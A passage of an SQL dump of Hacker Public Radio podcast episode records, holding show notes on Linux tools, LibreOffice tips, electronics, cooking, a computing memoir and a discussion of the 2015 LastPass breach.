2016-05-17:\n\"Bring on the rockets\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2032#3\" target=\"_blank\">Comment 3</a>:\nNYbill on 2016-05-18:\n\"The old gray beards in the basement.\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2032#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2016-05-30:\n\"Really enjoyed this\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://www.hackerpublicradio.org/eps.php?id=2034#comments\" target=\"_blank\">hpr2034</a></strong>\n(2016-05-19) \"<em>Frank\'s Five Seed Bread</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a>.\n<ul>  <li><a href=\"https://www.hackerpublicradio.org/eps.php?id=2034#1\" target=\"_blank\">Comment 1</a>:\nFrank on 2016-05-18:\"[no title]\"</li>  <li><a href=\"https://www.hackerpublicradio.org/eps.php?id=2034#2\" target=\"_blank\">Comment 2</a>:\nFrank on 2016-05-20:\"[no title]\"</li>  <li><a href=\"https://www.hackerpublicradio.org/eps.php?id=2034#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2016-05-30:\n\"Must try this, or a modification thereof\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2035#comments\" target=\"_blank\">hpr2035</a></strong>\n(2016-05-20) \"<em>Building Community</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=1\" target=\"_blank\">droops</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2035#1\" target=\"_blank\">Comment 1</a>:\nTony Hughes on 2016-05-20:\n\"building community\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2035#2\" target=\"_blank\">Comment 2</a>:\ndroops on 2016-05-20:\n\"Tech Podcasts\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2035#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2016-05-20:\n\"Show tags\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2035#4\" target=\"_blank\">Comment 4</a>:\nTony Hughes on 2016-05-20:\n\"Building Comunity\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2035#5\" target=\"_blank\">Comment 5</a>:\namunizp on 2016-05-22:\n\"app\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2037#comments\" target=\"_blank\">hpr2037</a></strong>\n(2016-05-24) \"<em>Alpha32\'s Pinhead Oats</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=303\" target=\"_blank\">Alpha32</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2037#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2016-05-26:\n\"Cooking! Yay!\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2038#comments\" target=\"_blank\">hpr2038</a></strong>\n(2016-05-25) \"<em>Attempting to fix a plastic boat</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\" target=\"_blank\">Jezra</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2038#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp on 2016-05-24:\n\"Hilarious\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2038#2\" target=\"_blank\">Comment 2</a>:\nDennis New on 2016-05-27:\n\"Hilarious Indeed\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2038#3\" target=\"_blank\">Comment 3</a>:\nFiftyOneFifty on 2016-05-28:\n\"Good Times\"</li></ul>\n</li>\n</ul>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(1813,'2015-07-15','Apt Spelunking: surf, lightyears, and fbterm',896,'Windigo introduces several applications he found by wandering around the debian repositories.','<p>\r\n\"Apt spelunking\" is a silly term I made up for the act of searching through the Debian package repositories with vague terms, and trying out random applications therein.\r\n</p>\r\n<p>\r\nToday, we will be covering three packages: surf, lightyears, fbterm\r\n</p>\r\n\r\n<h3>surf</h3>\r\n\r\n<p>\r\nSurf is a lightweight, graphical browser. It uses the webkit rendering engine, and is a GTK-based application (not that you can tell). It is extremely spartan. Part of the suckless project, surf takes the Unix philosophy to it\'s extreme.\r\n</p>\r\n<p>\r\nEssentially, you only get a single browser window. No tabs, bookmarks, or other interface to speak of. Any navigation is accomplished through links on the page, or some very rudimentary keyboard shortcuts. Ctrl+H goes forward in history, and Ctrl+L goes backwards. If you want to visit a URL, you can either send it as a command-line argument, or use Ctrl+G to bring up a drun-like text input. It is perfect for lightweight system configurations, surf does the bear minimum to qualify as a web browser.\r\n</p>\r\n<p>\r\nIf you\'re looking for zen simplicity, or want an easy way to embed a web app in its own window without a lot of overhead, surf is an excellent option.\r\n</p>\r\n\r\n<h3>lightyears</h3>\r\n\r\n<p>\r\n20,000 light years into space bills itself as a \"single player real-time strategy game with steampunk sci-fi\". In it, you are given a square of alien landscape, dotted with steam vents, and a small settlement at the center. This settlement runs on the steam so abundant on this alien world, and it\'s your job to keep the steam flowing.\r\n</p>\r\n<p>\r\nThe game consists of building steam nodes, which capture steam from the vents, and connecting them back to your settlement. Of course, you can\'t simply build a straight pipe back to your settlement; the length of the pipe is taken into account, and the longer the pipe, the harder it is to get steam to travel through it. You can get around this by daisy chaining nodes together in a web, and providing multiple routes back to your settlement. Running a steam-powered base on this alien planet isn\'t without its share of dangers, however! There are aliens, inclement weather, and seismic instability that can all damage your network of steam pipes and nodes. If your steam pressure falls below a certain threshold, you lose. \r\n</p>\r\n<p>\r\nThis game has an eerie similarity to network engineering, and I\'ve always enjoyed it a lot. It can get very frustrating, though, and the difficulty levels are steep steps. If you\'re interested in strategy games, I\'d highly recommend giving this one a try.\r\n</p>\r\n\r\n<h3>fbterm</h3>\r\n\r\n<p>\r\nAnother in the lightweight category, fbterm is a terminal emulator that\'s designed to be run with a framebuffer. A framebuffer is a low-level method for displaying text and/or graphics on a monitor, and is often used to run GUI applications without the overhead of an X server.\r\n</p>\r\n<p>\r\nYou can use fbterm to get an antialiased terminal, with freetype font support. That means you can use bitmap and vector fonts, just like most full-featured terminal emulators, without the extra weight of running an X session and window manager.\r\n</p>\r\n<p>\r\nIf you like window managers, you could also use fbterm as a replacement for one of your consoles, using a program called \"rungetty\". Here\'s the instructions: <a href=\"https://superuser.com/a/810655/21018\">https://superuser.com/a/810655/21018</a> I don\'t mind having fbterm as a backup terminal, in case I need to debug an X session or my window manager has locked up. Having an option that is more graphically pleasing than a bare getty TTY can be a lifesaver.\r\n</p>',196,98,0,'CC-BY-SA','games,debian,terminal,browser',0,0,1),
(1809,'2015-07-09','My \"New\" Used Kindle Touch',665,'I talk about why used stuff is often better than new stuff, with my new used Kindle Touch as example','<p>In this show I talk about why I like to buy stuff used whenever possible, whether it be printers, routers, shirts, books, or my latest acquisition, a used Kindle Touch, which in many ways is much better than my (much newer) Kindle paperwhite. Just for fun, I allow the Kindle Touch itself (using its built-in text-to-speech capabilities) to tell me the ways in which it\'s better than the Kindle Paperwhite. </p>',238,0,0,'CC-BY-SA','Kindle, eBook Readers, Used Stuff, Recycling, Thrifting',0,0,1),
(1814,'2015-07-16','Custom Context Menus in GNU/Linux GUI File Managers',763,'I describe how to add custom context menu items in the Nautilus and Thunar file managers.','<h3>On Nautilus</h3>\r\n\r\n<p>On Nautilus you have to put your scripts into the Nautilus <code>scripts</code> folder, which on my system is located here: </p>\r\n\r\n<pre>\r\n~/.local/share/nautilus/scripts\r\n</pre>\r\n\r\n<p>You can either put copies of the scripts in there, or you can do like I did and make <strong>symlinks</strong> from the Nautilus scripts folder to your <code>/home/bin</code> folder. (I prefer to make symlinks instead of copying the files in there, just in case I make any changes to my scripts. If I have made a symlink instead of copying the file, then I only have to change original script and the symlink will automatically use the updated version.) Once you\'ve done that, you right-click on a file and choose <code>scripts</code> then <code>&lt;yourscriptname&gt;</code> to run your script on the file.</p>\r\n\r\n<h3>Thunar</h3>\r\n\r\n<p>On Thunar you don\'t have to put your scripts anywhere special. It actually handles custom actions much better than Nautilus, in my opinion. What you do is go to the <code>Edit</code> menu and choose <code>Configure custom actions</code>. Then you get a dialog box with two tabs. The first tab is where you can give your custom action a name and then tell it what command to run, and also tell it whether to apply the custom action only to the selected file, to all files in the directory, or to all selected files. On the other tab you choose the context in which this custom action will appear. You can select categories of files—like images, audio files, or text files, and so forth—or you can specify filetypes by extension, so that your custom action will only appear if you right click on a file that has the extension. </p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li>Thunar <a href=\"https://docs.xfce.org/xfce/thunar/custom-actions\">custom actions documentation</a>.</li>\r\n	<li>Auphonic: Automatic audio post production web service for podcasts, broadcasters, radio shows, movies, screencasts and more. <a href=\"https://auphonic.com/\">https://auphonic.com/</a></li>\r\n</ul>',238,0,0,'CC-BY-SA','Scripting, File Managers, Desktop Customization, GNU/Linux',0,0,1),
(1803,'2015-07-01','What\'s In My Bag?',758,'The geek dad describes his daily carry gear and bag','<p>\r\nThe blog on Knightwise.com which inspired/sourced this episode: <a href=\"https://knightwise.com/whats-in-your-bag-week-day-3-matt-mcgraw/\">https://knightwise.com/whats-in-your-bag-week-day-3-matt-mcgraw/</a>\r\n</p>\r\n<p>\r\nThe photo of my gear: <a href=\"https://cloud.thestrangeland.net/index.php/s/meDq3hozvgkay2W\">https://cloud.thestrangeland.net/index.php/s/meDq3hozvgkay2W</a><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr1803_img.png\" alt=\"photo of gear\" />\r\n</p>\r\n',255,23,1,'CC-BY-SA','gear, daily carry, what\'s in my bag',0,0,1),
(1807,'2015-07-07','Arch Linux Development Environment: Ep1',2181,'A tour of how to setup a base Arch Linux environment.','<ul>\r\n<li>Checking the network\r\n</li>\r\n<li>Partitioning\r\n</li>\r\n<li>Making the filesystems\r\n</li>\r\n<li>Mounting the filesystems\r\n</li>\r\n<li>Installing the base packages\r\n</li>\r\n<li>Generate the fstab\r\n</li>\r\n<li>Chroot and Configuration\r\n</li>\r\n<li>Boot Loading\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nComplete show notes: <a href=\"https://hackerpublicradio.org/eps/hpr1807.html\">https://hackerpublicradio.org/eps/hpr1807.html</a>\r\n</p>',286,0,1,'CC-BY-SA','Arch Linux, dev, environment',0,0,1),
(1810,'2015-07-10','17 - LastPass Hacked - What Does It Mean?',1380,'LastPass was hacked, but how bad is it?','<p>\r\nOn June 15, LastPass disclosed that it had been hacked, and I think by now just about everyone has heard about it. I know I received questions because I have recommended LastPass often, and my advice has been to stay with them. What I want to do now is explain exactly why this was not quite the big deal it was made out to be in some quarters, and that anyone telling you to stop using password vaults is only asking you to lower your own security.\r\n</p>\r\n<p>\r\nFor more go to <a href=\"https://www.zwilnik.com/?page_id=841\">https://www.zwilnik.com/?page_id=841</a> \r\n</p>\r\n\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://blog.lastpass.com/2015/06/lastpass-security-notice.html/\">https://blog.lastpass.com/2015/06/lastpass-security-notice.html/</a>\r\n</li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=577\">https://www.zwilnik.com/?page_id=577</a>\r\n</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1581\">https://hackerpublicradio.org/eps.php?id=1581</a>\r\n</li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=841\">https://www.zwilnik.com/?page_id=841</a>\r\n</li>\r\n</ul>\r\n',198,74,0,'CC-BY-SA','LastPass, password vault',0,0,1),
(1811,'2015-07-13','Life and Times of a Geek part 2',2558,'Part 2 of my personal story of experiences with computers','<h2 id=\"introduction\">Introduction</h2>\r\n<p>In the last part I told you of my first encounter with a mainframe computer and the Algol60 language while an undergraduate student at Aberystwyth University.</p>\r\n<p>Today I want to talk about the next stage as a postgraduate student at the University of Manchester.</p>\r\n<p>It seems to have taken me over 6 months to prepare this episode of this series, for which I apologise. I seem to get distracted as I do my background research.</p>\r\n<h2 id=\"full-notes\">Full Notes</h2>\r\n<p>Since the notes explaining this subject are particularly long, they have been placed here: <a href=\"https://hackerpublicradio.org/eps/hpr1811_full_shownotes.html\">https://hackerpublicradio.org/eps/hpr1811_full_shownotes.html</a> and an ePub version is also available here: <a href=\"https://hackerpublicradio.org/eps/hpr1811_full_shownotes.epub\">https://hackerpublicradio.org/eps/hpr1811_full_shownotes.epub</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>University of Manchester:\r\n<ul>\r\n<li>Wikipedia entry: <a href=\"https://en.wikipedia.org/wiki/University_of_Manchester\">https://en.wikipedia.org/wiki/University_of_Manchester</a></li>\r\n<li>Prior to 2004: <a href=\"https://en.wikipedia.org/wiki/Victoria_University_of_Manchester\">https://en.wikipedia.org/wiki/Victoria_University_of_Manchester</a></li>\r\n<li>Manchester Museum: <a href=\"https://en.wikipedia.org/wiki/Manchester_Museum\">https://en.wikipedia.org/wiki/Manchester_Museum</a></li>\r\n<li>School of Computer Science: <a href=\"https://en.wikipedia.org/wiki/School_of_Computer_Science,_University_of_Manchester\">https://en.wikipedia.org/wiki/School_of_Computer_Science,_University_of_Manchester</a></li>\r\n</ul></li>\r\n<li>Behavioural Ecology: <a href=\"https://en.wikipedia.org/wiki/Behavioral_ecology\">https://en.wikipedia.org/wiki/Behavioral_ecology</a></li>\r\n<li>Experimental animals:\r\n<ul>\r\n<li>Barbary dove: <a href=\"https://en.wikipedia.org/wiki/Barbary_dove\">https://en.wikipedia.org/wiki/Barbary_dove</a></li>\r\n<li>Common Marmoset: <a href=\"https://en.wikipedia.org/wiki/Common_marmoset\">https://en.wikipedia.org/wiki/Common_marmoset</a></li>\r\n</ul></li>\r\n<li>Current Contents: <a href=\"https://en.wikipedia.org/wiki/Current_Contents\">https://en.wikipedia.org/wiki/Current_Contents</a></li>\r\n<li>Card systems:\r\n<ul>\r\n<li>Index cards: <a href=\"https://en.wikipedia.org/wiki/Index_card\">https://en.wikipedia.org/wiki/Index_card</a></li>\r\n<li>Edge-notched cards: <a href=\"https://en.wikipedia.org/wiki/Edge-notched_card\">https://en.wikipedia.org/wiki/Edge-notched_card</a></li>\r\n</ul></li>\r\n<li>Control Data Corporation CDC 7600: <a href=\"https://en.wikipedia.org/wiki/CDC_7600\">https://en.wikipedia.org/wiki/CDC_7600</a></li>\r\n<li>Seymour Cray: <a href=\"https://en.wikipedia.org/wiki/Seymour_Cray\">https://en.wikipedia.org/wiki/Seymour_Cray</a></li>\r\n<li>Cray-1 supercomputer: <a href=\"https://en.wikipedia.org/wiki/Cray-1\">https://en.wikipedia.org/wiki/Cray-1</a></li>\r\n<li>ICT (ICL) 1900 series: <a href=\"https://en.wikipedia.org/wiki/ICT_1900_series\">https://en.wikipedia.org/wiki/ICT_1900_series</a></li>\r\n<li>ICL GEORGE operating system: <a href=\"https://en.wikipedia.org/wiki/GEORGE_%28operating_system%29\">https://en.wikipedia.org/wiki/GEORGE_%28operating_system%29</a></li>\r\n<li>Card Punch: <a href=\"https://en.wikipedia.org/wiki/Keypunch\">https://en.wikipedia.org/wiki/Keypunch</a></li>\r\n<li>UMRCC videos on YouTube:\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/watch?v=swpE9IS8rso\">https://www.youtube.com/watch?v=swpE9IS8rso</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=G-ObR4Z6reY\">https://www.youtube.com/watch?v=G-ObR4Z6reY</a></li>\r\n</ul></li>\r\n<li>The three-day week: <a href=\"https://en.wikipedia.org/wiki/Three-Day_Week\">https://en.wikipedia.org/wiki/Three-Day_Week</a></li>\r\n<li>Fortran:\r\n<ul>\r\n<li>Wikipedia article: <a href=\"https://en.wikipedia.org/wiki/Fortran\">https://en.wikipedia.org/wiki/Fortran</a></li>\r\n<li>WikiBooks examples of Fortran: <a href=\"https://en.wikibooks.org/wiki/Fortran/Fortran_examples#Simple_Fortran_IV_program\">https://en.wikibooks.org/wiki/Fortran/Fortran_examples#Simple_Fortran_IV_program</a></li>\r\n</ul></li>\r\n<li>Graph plotter: <a href=\"https://en.wikipedia.org/wiki/Plotter\">https://en.wikipedia.org/wiki/Plotter</a></li>\r\n<li>NAG Library: <a href=\"https://en.wikipedia.org/wiki/NAG_Numerical_Library\">https://en.wikipedia.org/wiki/NAG_Numerical_Library</a></li>\r\n<li>The Pascal language:\r\n<ul>\r\n<li>Wikipedia article: <a href=\"https://en.wikipedia.org/wiki/Pascal_%28programming_language%29\">https://en.wikipedia.org/wiki/Pascal_%28programming_language%29</a></li>\r\n<li>&quot;<em>The Programming Language Pascal</em>&quot; 1973: <a href=\"https://www.standardpascal.com/The_Programming_Language_Pascal_1973.pdf\">https://www.standardpascal.com/The_Programming_Language_Pascal_1973.pdf</a></li>\r\n</ul></li>\r\n<li><em>Life and Times of a Geek</em> part 1: <a href=\"https://hackerpublicradio.org/eps.php?id=1664\">https://hackerpublicradio.org/eps.php?id=1664</a></li>\r\n</ul>\r\n',225,29,1,'CC-BY-SA','computer,programming,punched card,paper tape,teletype,graph plotter,Seymour Cray,CDC,Control Data Corporation,CDC 7600,Cray-1,ICL,ALGOL 60,FORTRAN,Pascal',0,0,1),
(1812,'2015-07-14','Headphones and a $2 Microphone',1180,'I talk about my various headphones as I walk to my office.','<p>In this episode I use a <a href=\"https://www.amazon.com/gp/product/B005DJOIHE\">https://www.amazon.com/gp/product/B005DJOIHE</a> $2 microphone to record as I walk from home to my office. The topic is the 5 pairs of headphones I have and their various features, qualities, drawbacks, etc.</p>\r\n\r\n<h2>Headphones Mentioned in Podcast</h2>\r\n\r\n<ul>\r\n	<li>Neewer 3.5mm Hands Free Computer Clip on <a href=\"https://www.amazon.com/gp/product/B005DJOIHE\">Mini Lapel Microphone</a></li>\r\n	<li>Bose Quiet Comfort 15</li>\r\n	<li>Sennheiser HD 550A</li>\r\n	<li>Aftershokz Sportz M2 Bone-Conduction Headphones</li>\r\n	<li>Sony MDR-J10 H ear headphones with non-slip design</li>\r\n	<li>Howard Leight 1030110 sync noise-blocking stereo earmuffs</li>\r\n</ul>\r\n',238,0,1,'CC-BY-SA','headphones, microphones, audio',0,0,1),
(1817,'2015-07-21','Gathering Parts',1395,'NYbill talks about the process he goes through while starting an electronics project.','<p>\r\nThe web site that started this all:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.gilmourish.com/\">https://www.gilmourish.com/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nBig Muff Pi:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.bigmuffpage.com/Big_Muff_Pi_versions_schematics_part1.html\">https://www.bigmuffpage.com/Big_Muff_Pi_versions_schematics_part1.html</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nParts Distributors:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.digikey.com/\">https://www.digikey.com/</a>\r\n</li>\r\n<li><a href=\"https://www.mouser.com/\">https://www.mouser.com/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nHammond Box:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://tinyurl.com/oqb55my\">https://tinyurl.com/oqb55my</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nJoe Knows:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://tinyurl.com/nmsb2v9\">https://tinyurl.com/nmsb2v9</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nPicture of the gathered parts:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://media.gunmonkeynet.net/u/nybill/m/a-pic-for-hpr-episode/\">https://media.gunmonkeynet.net/u/nybill/m/a-pic-for-hpr-episode/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nWhen I made the reference to \"two red lips\" regarding resistor colors I didn\'t quite explain what that meant. It was a way I learned, way back when, to remember which color was which number on a resistor. I hadn\'t thought about it in years. It used rhyming and references scheme to line the colors up with values. \r\n</p>\r\n<pre>\r\n0- Black - It\'s a \"no\" color, a zero\r\n1- Brown - \'brow-one\'\r\n2- Red - Two red lips\r\n3- Orange - Orange tree\r\n4- Yellow - Yell for help\r\n5- Green - a five dollar bill is green\r\n6- Blue - Blue and sick\r\n7- Violet - Violet heaven\r\n8- Gray - Great\r\n9- White - White wine\r\n</pre>\r\n',235,103,0,'CC-BY-SA','electronics,guitar pedal,fuzzbox,resistor colours',0,0,1),
(1816,'2015-07-20','Visualising HPR tags',549,'Using GraphViz to visualise the tags on HPR episodes','<p>As you know, HPR asks for tags to be added to the episodes we contribute. These are intended to be used to produce some kind of improved topic search at some point in the future.</p>\r\n<p>I find it difficult to decide what tags to add to my shows, and I expect many people feel the same way about it. Should I use common tags like <em>Linux</em> or does that not differentiate it enough? How many tags should I add, should the words be plural or singular?</p>\r\n<p>We have recently been asked to contribute to the task of adding tags to previous shows, so it\'s very much a hot topic at the moment.</p>\r\n<p>In thinking about this I wondered if there was a way in which existing tags could be represented in a visual way to help with the process of choosing and rationalising tags. It was the type of thought that occurs to you in the shower or while out for a walk.</p>\r\n<p>In my last job I occasionally used a package called <a href=\"https://en.wikipedia.org/wiki/Graphviz\" title=\"GraphViz\">GraphViz</a> to generate graphical representations. I used it to generate a chart showing how the organisation (a university) was divided up into schools, departments, sections and so on in a hierarchical manner. I wondered if it could be used for this task.</p>\r\n<p>I decided to use my currently preferred scripting language, Perl, and found there was a module which let me access GraphViz. I started putting together a <a href=\"https://hackerpublicradio.org/eps/hpr1816_tag_visualise.html\" title=\"tag_visualise (HTML)\">script</a>.</p>\r\n<p>The script was created in an evening and is still rather rough. It performs a very simple query on the database to obtain the show numbers of shows with tags, their titles and their tags. It then uses a CSV parser to parse the tag list and builds a hash table indexed by tags, where the contents per tag are the show numbers that use this tag.</p>\r\n<p>Having built this hash table it is used to generate GraphViz data by making each tag and each show number a <em>node</em> and joining them together.</p>\r\n<p>Finally the script processes the graph to produce output in <a href=\"https://hackerpublicradio.org/eps/hpr1816_tag_visualise.svg\" title=\"SVG output\">SVG</a> format which is available to view.</p>\r\n<p>Bear in mind that this is not a finished project - it may never be finished! The script may not be ideal. My understanding of GraphViz may be insufficient, and the rendering of the SVG may not be good (I got various results on different browsers).</p>\r\n<p>However, you might find it interesting or even useful. Feedback on the idea is welcome.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>GraphViz Wikipedia entry: <a href=\"https://en.wikipedia.org/wiki/Graphviz\" class=\"uri\">https://en.wikipedia.org/wiki/Graphviz</a></li>\r\n<li>Graphviz website: <a href=\"https://graphviz.org/\" class=\"uri\">https://graphviz.org/</a></li>\r\n<li>Perl script to visualise tags (HTML version): <a href=\"https://hackerpublicradio.org/eps/hpr1816_tag_visualise.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr1816_tag_visualise.html</a></li>\r\n<li>Output from the <code>tag_visualise</code> script as an SVG file: <a href=\"https://hackerpublicradio.org/eps/hpr1816_tag_visualise.svg\" class=\"uri\">https://hackerpublicradio.org/eps/hpr1816_tag_visualise.svg</a></li>\r\n</ul>',225,0,1,'CC-BY-SA','Perl,GraphViz,tags,SVG',0,0,1),
(1819,'2015-07-23','LibreOffice Tips: Horizontal Lists and Headless Operation',675,'A workaround to create horizontal ordered lists in LibreOffice and run LO headless to convert files','<h2>LibreOffice Tips: Horizontal Lists</h2>\r\n\r\n<p>One of these things is how to create <strong>horizontal lists</strong> in LibreOffice. This is something that I wanted to do, I think it was maybe a year ago that I was really trying to find out how to do this. What I mean by that is I wanted to be able to do in LibreOffice the equivalent of an in-line list in HTML and CSS. There\'s a way in CSS to tell the browser to display a series of list items in-line rather than vertically—and this is used all the time for footers and headers and things of that sort—and  I wanted to be able to do that in LibreOffice because it would ease the process of creating the exams that I make in my classes, where I have a numbered list for all of the questions, and the answers for each question are also done in a numbered list but at the 2nd level—usually done with a, b, c and d, whereas the numbers of the questions are 1, 2, 3, 4, and so forth. What I wanted to be able to do was have the ordered list a, b, c, d spread out horizontally across the page without having to do it manually. So in other words I wanted to be able to type a word for an answer and then press <code>enter</code>, and instead of having it go into a new line, have it simply move over to the right a little bit with a new letter in place for the next item in the ordered list. I hope it\'s clear what I\'m after here. </p>\r\n\r\n<p>Anyway I never did find a way to do this. I searched online and there were a couple of other people who were interested in doing the same thing but they were all told this is impossible. Well, sort of. I found a workaround for this and it\'s not all that elegant but in a pinch it could work, and I don\'t think I would want to do it for an entire test but I thought it was kind of a cool way to do it. </p>\r\n\r\n<p>So what you do his make up the ordered list just like usual. I have here on my computer right now opened a document with a single question, question no. 1. And then it has at the 2nd level of ordered list a series of 4 options: red, purple, green, and blue. And each one of these is in a font color of the same name, so that the word \"Red\" is red, the word \"Purple\" is in purple, \"green\" is in green.  I do this because it makes it easier to see how these things move up and down. There are little buttons down at the bottom of the screen where if you click on the arrow up or the arrow down, it will move the list item up or down. So right now red is in the 1st position, but if I click the down arrow it will go down to the 2nd position and the one that was formally 2nd is now 1st. So purple and red have switched places. </p>\r\n\r\n<p>I want to have this kind of flexibility going horizontally as well, and the way I found to do this was to use columns. I select the 4 items and then under the <code>Format</code> menu choose <code>Columns</code> and tell it I want 4 columns because I have 4 items, and I click <code>OK</code> and suddenly these things are distributed across the screen horizontally. Now if I click the up arrow, the item moves left and right!</p>\r\n\r\n<p>The bad thing about using columns is that the columns are of uniform width, so they do not dynamically change according to the number of characters that are in the word the way it would do in HTML with CSS.</p>\r\n\r\n<h2>Headless Operation</h2>\r\n\r\n<p>To convert a Word <code>.docx</code> file to <code>HTML</code>, run the following command (LibreOffice must not be open in a graphical environment when you try to do this):</p>\r\n\r\n<pre>\r\nlibreoffice --headless --convert-to html foobar.docx\r\n</pre>\r\n\r\n<p>To convert the same document to <code>.odt</code> format, run this command. </p>\r\n\r\n<pre>\r\nlibreoffice --headless --convert-to odt foobar.docx\r\n</pre>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li>Convert Word documents to Clean HTML: <a href=\"https://word2cleanhtml.com/\">https://word2cleanhtml.com/</a></li>\r\n</ul>',238,70,0,'CC-BY-SA','LibreOffice,horizontal list,headless',0,0,1),
(1821,'2015-07-27','James Beard\'s Never-Fail Blender Hollandaise Sauce',413,'Frank describes how to make perfect Hollandaise Sauce every time.','<p>\r\nFrank describes James Beard\'s simple and almost infallible recipe for making Hollandaise sauce with a blender.\r\n<br />\r\nThe recipe from the _Theory_and_Practice_of_Good_Cooking_, used copies of which can be readily found via a web search.  According to Amazon.doc, new copies are also available.  Frank\'s copy is a first edition dating from 1977, though it\'s been used too much to be a collector\'s item.\r\n</p>\r\n\r\n<h3>\r\nLinks:\r\n</h3>\r\n<ul>\r\n<li>THe James Beard Foundation:  <a href=\"https://www.jamesbeard.org/\">https://www.jamesbeard.org/</a>\r\n</li>\r\n<li>James Beard Wikipedia article:  <a href=\"https://en.wikipedia.org/?title=James_Beard\">https://en.wikipedia.org/?title=James_Beard></a></li>\r\n<li>Hollandaise Wikipedia article:  <a href=\"https://en.wikipedia.org/wiki/Hollandaise_sauce\">https://en.wikipedia.org/wiki/Hollandaise_sauce</a></li>\r\n<li>Craig Claiborne Wikipedia article:  <a href=\"https://en.wikipedia.org/wiki/Craig_Claiborne\">https://en.wikipedia.org/wiki/Craig_Claiborne</a></li>\r\n</ul>\r\n',195,93,1,'CC-BY-SA','cooking,recipe,Hollandaise,sauce',0,0,1),
(1815,'2015-07-17','57 - LibreOffice Impress - Styles and Objects 2 - Drawing Object Styles',997,'Drawing Object Styles and their use in LibreOffice Impress','<p>\r\nIn the previous tutorial we looked at Presentation Styles, and I started with them because they were mostly similar to what we already covered in Writer when we looked at Paragraph styles. But Impress is a graphical product, so we need to wrap our heads around a different set of issues here. and that brings us to Drawing Object Styles.\r\n</p>\r\n<p>\r\nFor more go to <a href=\"https://www.ahuka.com/?page_id=1182\">https://www.ahuka.com/?page_id=1182</a>\r\n</p>\r\n',198,70,0,'CC-BY-SA','LibreOffice, Impress, Presentations, Styles',0,0,1),
(1825,'2015-07-31','58 - LibreOffice Impress - Creating a Template for Hacker Public Radio',850,'Creating a sample template illustrates these concepts','<p>\r\nThe idea in this tutorial is to tie together some of the concepts developed in the previous tutorials to create a Master Page, or Template, or Slide Master. (They all mean the same thing, but within Impress they are shown on the Sidebar as Master Pages, so I will stick with that terminology here.) I say we will use some of these concepts because trying to put everything into one Master Page would create a hideous end result. And since it helps to have a definite objective in mind I have decided to create one for Hacker Public Radio, where I record these tutorials as podcasts for the Internet.\r\nFor more go to <a href=\"https://www.ahuka.com/?page_id=1204\">https://www.ahuka.com/?page_id=1204</a>\r\n</p>\r\n\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://openfontlibrary.org/\">https://openfontlibrary.org/</a>\r\n</li>\r\n<li><a href=\"https://www.ahuka.com/wp-content/uploads/2015/07/Hacker-Public-Radio-Template.otp_.zip\">https://www.ahuka.com/wp-content/uploads/2015/07/Hacker-Public-Radio-Template.otp_.zip</a>\r\n</li>\r\n<li><a href=\"https://www.ahuka.com/?page_id=1116\">https://www.ahuka.com/?page_id=1116</a>\r\n</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1795\">https://hackerpublicradio.org/eps.php?id=1795</a>\r\n</li>\r\n<li><a href=\"https://www.ahuka.com/?page_id=1204\">https://www.ahuka.com/?page_id=1204</a>\r\n</li>\r\n</ul>',198,70,0,'CC-BY-SA','LibreOffice, Impress, Presentations, Template',0,0,1),
